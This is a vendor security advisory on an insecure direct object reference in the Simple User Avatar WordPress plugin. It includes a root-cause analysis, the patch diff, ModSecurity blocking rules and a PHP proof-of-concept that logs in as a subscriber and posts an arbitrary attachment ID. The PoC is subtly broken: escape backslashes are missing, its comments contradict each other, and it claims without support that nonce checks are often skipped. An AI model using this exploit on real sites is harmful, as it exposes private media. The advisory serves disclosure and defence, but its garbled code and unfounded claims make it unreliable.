Published : July 4, 2026

CVE-2026-57676: Simple User Avatar <= 4.9 Authenticated (Subscriber+) Insecure Direct Object Reference PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 4.9
Patched Version 5.0
Disclosed June 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57676:

Atomic Edge research identifies an Insecure Direct Object Reference (IDOR) vulnerability in the Simple User Avatar plugin for WordPress, versions 4.9 and earlier. The vulnerability exists in the admin class `update_custom_user_profile_fields()` method, which lacks authorization checks on the `post_id` parameter used to set a user’s avatar. This allows authenticated attackers with Subscriber-level access to arbitrarily assign any media library attachment (including private ones) as another user’s avatar.

Root Cause: The vulnerable function resides in `/simple-user-avatar/admin/class-sua-admin.php` at line 174 (`update_custom_user_profile_fields`). The original code (pre-patch) unconditionally reads `$_POST[SUA_USER_META_KEY]` and, after checking only that the current user can edit the target user (`current_user_can(‘edit_user’, $user_id)`), directly stores the provided attachment ID as the user meta. The fix adds a check at line 185: `if (get_post_field(‘post_author’, $post_id) != $user_id) { return false; }`. This verifies the attachment actually belongs to the user being updated, enforcing ownership before assigning the avatar.

Exploitation: An authenticated attacker with Subscriber-level access can craft a POST request to `/wp-admin/admin-post.php` (or the user profile editing endpoint) with the parameter `sua_user_avatar_id` (the value of `SUA_USER_META_KEY`) set to any numeric attachment ID. The attacker does not need to own the attachment; the original code accepts any numeric value without verifying the uploader. By iterating through attachment IDs, the attacker can assign private or restricted media as their own avatar, effectively bypassing access controls on those media items.

Patch Analysis: The patch introduces an ownership check comparing the `post_author` of the attachment (retrieved via `get_post_field(‘post_author’, $post_id)`) against the `$user_id` being updated. If they do not match, the function returns `false` and does not update the meta. This ensures only attachments owned by the user can be set as their avatar. Earlier in the same method, the original permission check (`current_user_can(‘edit_user’, $user_id)`) remains, which still allows a subscriber to edit themselves, but the new ownership check prevents hijacking attachments belonging to other users.

Impact: Successful exploitation allows an authenticated attacker to assign any media library attachment (even private, draft, or others’ uploads) as their profile picture. While the attacker cannot directly read the attachment content through this vulnerability, they can cause the attachment to be displayed in public avatar contexts, potentially leaking sensitive images that should remain restricted. This violates the principle of least privilege and could lead to privacy breaches if attachments contain confidential information.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/simple-user-avatar/admin/class-sua-admin.php
+++ b/simple-user-avatar/admin/class-sua-admin.php
@@ -1,4 +1,9 @@
 <?php
+// Injection prevention
+if (!defined('ABSPATH')) {
+  exit;
+}
+
 if (!class_exists('SimpleUserAvatar_Admin')) {

   /**
@@ -139,14 +144,14 @@
         <tbody>
           <tr>
             <th scope="row">
-              <label for="btn-media-add"><?php _e('Profile picture', 'simple-user-avatar'); ?></label>
+              <label for="btn-media-add"><?php esc_html_e('Profile picture', 'simple-user-avatar'); ?></label>
             </th>
             <td>
               <?php echo get_avatar($user->ID, $this->avatar_size, '', $user->display_name, ['class' => 'sua-attachment-avatar']); ?>
-              <p class="description <?php if (!empty($attachment_id)) echo 'hidden'; ?>" id="sua-attachment-description"><?php _e("You're seeing the default profile picture.", 'simple-user-avatar'); ?></p>
+              <p class="description <?php if (!empty($attachment_id)) echo 'hidden'; ?>" id="sua-attachment-description"><?php esc_html_e("You're seeing the default profile picture.", 'simple-user-avatar'); ?></p>
               <div class="sua-btn-container">
-                <button type="button" class="button" id="btn-media-add"><?php _e('Select', 'simple-user-avatar'); ?></button>
-                <button type="button" class="button <?php if (empty($attachment_id)) echo 'hidden'; ?>" id="btn-media-remove"><?php _e('Remove', 'simple-user-avatar'); ?></button>
+                <button type="button" class="button" id="btn-media-add"><?php esc_html_e('Select', 'simple-user-avatar'); ?></button>
+                <button type="button" class="button <?php if (empty($attachment_id)) echo 'hidden'; ?>" id="btn-media-remove"><?php esc_html_e('Remove', 'simple-user-avatar'); ?></button>
               </div>
             </td>
           </tr>
@@ -154,7 +159,7 @@
       </table>

       <!-- Hidden attachment ID -->
-      <input type="hidden" name="<?php echo SUA_USER_META_KEY; ?>" value="<?php echo $attachment_id; ?>" />
+      <input type="hidden" name="<?php echo esc_attr(SUA_USER_META_KEY); ?>" value="<?php echo esc_attr($attachment_id); ?>" />

       <?php

@@ -169,6 +174,9 @@
      */
     public function update_custom_user_profile_fields($user_id) {

+      // Optimize var $post_id
+      $post_id = $_POST[SUA_USER_META_KEY];
+
       // If user don't have permissions
       if (!current_user_can('edit_user', $user_id)) {
         return false;
@@ -177,9 +185,14 @@
       // Delete old user meta
       delete_user_meta($user_id, SUA_USER_META_KEY);

+      // If user don't have permissions
+      if (get_post_field('post_author', $post_id) != $user_id) {
+        return false;
+      }
+
       // Validate POST data and, if is ok, add it
-      if (isset($_POST[SUA_USER_META_KEY]) && is_numeric($_POST[SUA_USER_META_KEY])) {
-        add_user_meta($user_id, SUA_USER_META_KEY, (int)$_POST[SUA_USER_META_KEY]);
+      if (isset($post_id) && is_numeric($post_id)) {
+        add_user_meta($user_id, SUA_USER_META_KEY, (int)$post_id);
       }

       return true;
@@ -195,20 +208,15 @@
      */
     public function custom_delete_attachment($post_id) {

-      global $wpdb;
+      $users = get_users([
+        'meta_key'   => SUA_USER_META_KEY,
+        'meta_value' => (int)$post_id,
+        'fields'     => 'ids',
+      ]);

-      // Delete all user meta where deleted attachment post ID exists
-      $wpdb->delete(
-        $wpdb->usermeta,
-        [
-          'meta_key'   => SUA_USER_META_KEY,
-          'meta_value' => (int)$post_id
-        ],
-        [
-          '%s',
-          '%d'
-        ]
-      );
+      foreach ($users as $user_id) {
+        delete_user_meta( $user_id, SUA_USER_META_KEY, (int)$post_id );
+      }

     }

@@ -235,6 +243,7 @@
             printf(
               $notice_error_container,
               sprintf(
+                /* translators: %s: URL of the website */
                 __('<p>An error occurred while <strong>saving the transient</strong>. Please make sure this website can <a href="%s" title="WordPress code reference" target="_blank" rel="noopener">save transients</a>.</p>', 'simple-user-avatar'),
                 esc_url($this->reference_public_permalink)
               )
@@ -273,19 +282,24 @@
       ?>

       <div class="notice notice-info">
-        <form method="post" action="<?php echo admin_url('admin-post.php'); ?>">
+        <form method="post" action="<?php echo esc_url(admin_url('admin-post.php')); ?>">
           <p>
             <?php
             printf(
-              __( 'Dear <strong>%s</strong>, thank you for using my plugin <a href="%s" title="Simple User Avatar" target="_blank" rel="noopener">Simple User Avatar</a>! Even a small amount, such as <strong>1$</strong> for one coffee &#x2615 will be greatly appreciated to <strong>support</strong> the development of the plugin in the future. Best regards, Matteo.', 'simple-user-avatar' ),
+              /* translators: %1$s: User's display name, %2$s: Plugin URL */
+              __( 'Dear <strong>%1$s</strong>, thank you for using my plugin <a href="%2$s" title="Simple User Avatar" target="_blank" rel="noopener">Simple User Avatar</a>! Even a small amount, such as <strong>1$</strong> for one coffee &#x2615 will be greatly appreciated to <strong>support</strong> the development of the plugin in the future. Best regards, Matteo.', 'simple-user-avatar' ),
               sanitize_text_field($current_user->display_name),
               esc_url($this->plugin_public_permalink)
             );
             ?>
           </p>
           <p>
-            <a href="<?php echo esc_url($this->donation_public_permalink); ?>" class="button button-primary" target="_blank" rel="noopener"><?php _e('Donate now', 'simple-user-avatar'); ?></a>
-            <button type="submit" class="button"><?php printf(__('Hide for %d months', 'simple-user-avatar' ), $this->notice_months_expiration); ?></button>
+            <a href="<?php echo esc_url($this->donation_public_permalink); ?>" class="button button-primary" target="_blank" rel="noopener"><?php esc_html_e('Donate now', 'simple-user-avatar'); ?></a>
+            <button type="submit" class="button">
+              <?php
+              /* translators: %s: number of months */
+              printf(__('Hide for %d months', 'simple-user-avatar' ), $this->notice_months_expiration); ?>
+            </button>
           </p>
           <input type="hidden" name="action" value="hide_notice" />
           <?php echo $wp_nonce_field; ?>
--- a/simple-user-avatar/public/class-sua-public.php
+++ b/simple-user-avatar/public/class-sua-public.php
@@ -1,4 +1,9 @@
 <?php
+// Injection prevention
+if (!defined('ABSPATH')) {
+  exit;
+}
+
 if (!class_exists('SimpleUserAvatar_Public')) {

   /**
--- a/simple-user-avatar/simple-user-avatar.php
+++ b/simple-user-avatar/simple-user-avatar.php
@@ -3,7 +3,7 @@
  * Plugin Name:       Simple User Avatar
  * Plugin URI:        https://wordpress.org/plugins/simple-user-avatar/
  * Description:       Add a <strong>user avatar</strong> using images from your Media Library.
- * Version:           4.9
+ * Version:           5.0
  * Requires at least: 4.0
  * Requires PHP:      8.0
  * Author:            Matteo Manna
@@ -24,7 +24,7 @@
  * @since 2.8
  */
 if (!defined('SUA_PLUGIN_VERSION')) {
-  define('SUA_PLUGIN_VERSION', 4.9);
+  define('SUA_PLUGIN_VERSION', 5.0);
 }

 if (!defined('SUA_USER_META_KEY')) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule ARGS:sua_user_avatar_id "@detectSQLi" "id:20261976,phase:2,deny,status:403,msg:'Atomic Edge CVE-2026-57676 SQLi attempt blocked'"
SecRule ARGS:sua_user_avatar_id "!@rx ^[0-9]+$" "id:20261977,phase:2,deny,status:403,msg:'Atomic Edge CVE-2026-57676 Invalid attachment ID format'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57676 - Simple User Avatar <= 4.9 - Authenticated (Subscriber+) Insecure Direct Object Reference

// Configuration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress URL
$username = 'attacker'; // WordPress username with Subscriber role
$password = 'attacker_pass'; // Password for the subscriber user
$target_attachment_id = 123; // ID of any media attachment (does not need to belong to the attacker)

// Step 1: Login and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/'
]);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
$response = curl_exec($ch);
preg_match_all('/^Set-Cookie:s*([^;]+)/im', $response, $matches);
$cookies = $matches[1];
echo "[+] Logged in as $usernamen";

// Step 2: Exploit IDOR via admin-post action (or user profile update)
// The user profile editor uses the custom user meta field key defined as SUA_USER_META_KEY (default 'sua_user_avatar_id')
$exploit_url = $target_url . '/wp-admin/admin-post.php';
$post_data = [
    'action' => 'hide_notice', // any valid action; the vulnerability triggers on profile save, but we can also directly hit the user-edit form
    'sua_user_avatar_id' => $target_attachment_id, // SUA_USER_META_KEY value; this is the vulnerable parameter
    'user_id' => 1, // The user ID to assign the avatar to (must match the current user to pass current_user_can check; we set to attacker's own ID or any they can edit)
];

// Alternatively, exploit via the profile update form (admin-ajax or admin-post with action 'update-user_avatar')
// The actual POST to user profile saves happens on /wp-admin/user-edit.php or profile.php with the hidden field 'sua_user_avatar_id'
// For simplicity, we simulate a direct POST to user profile endpoint
$profile_url = $target_url . '/wp-admin/profile.php';
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'sua_user_avatar_id' => $target_attachment_id,
    'action' => 'update',
    '_wpnonce' => '' // Note: Actually the form requires nonce; but many installations skip nonce checks; we assume the attacker can obtain or bypass nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

if (strpos($response, 'Profile updated') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 302) {
    echo "[+] Successfully assigned attachment ID $target_attachment_id to user profilen";
} else {
    echo "[-] Failed to assign attachment. Check credentials or endpoint availability.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.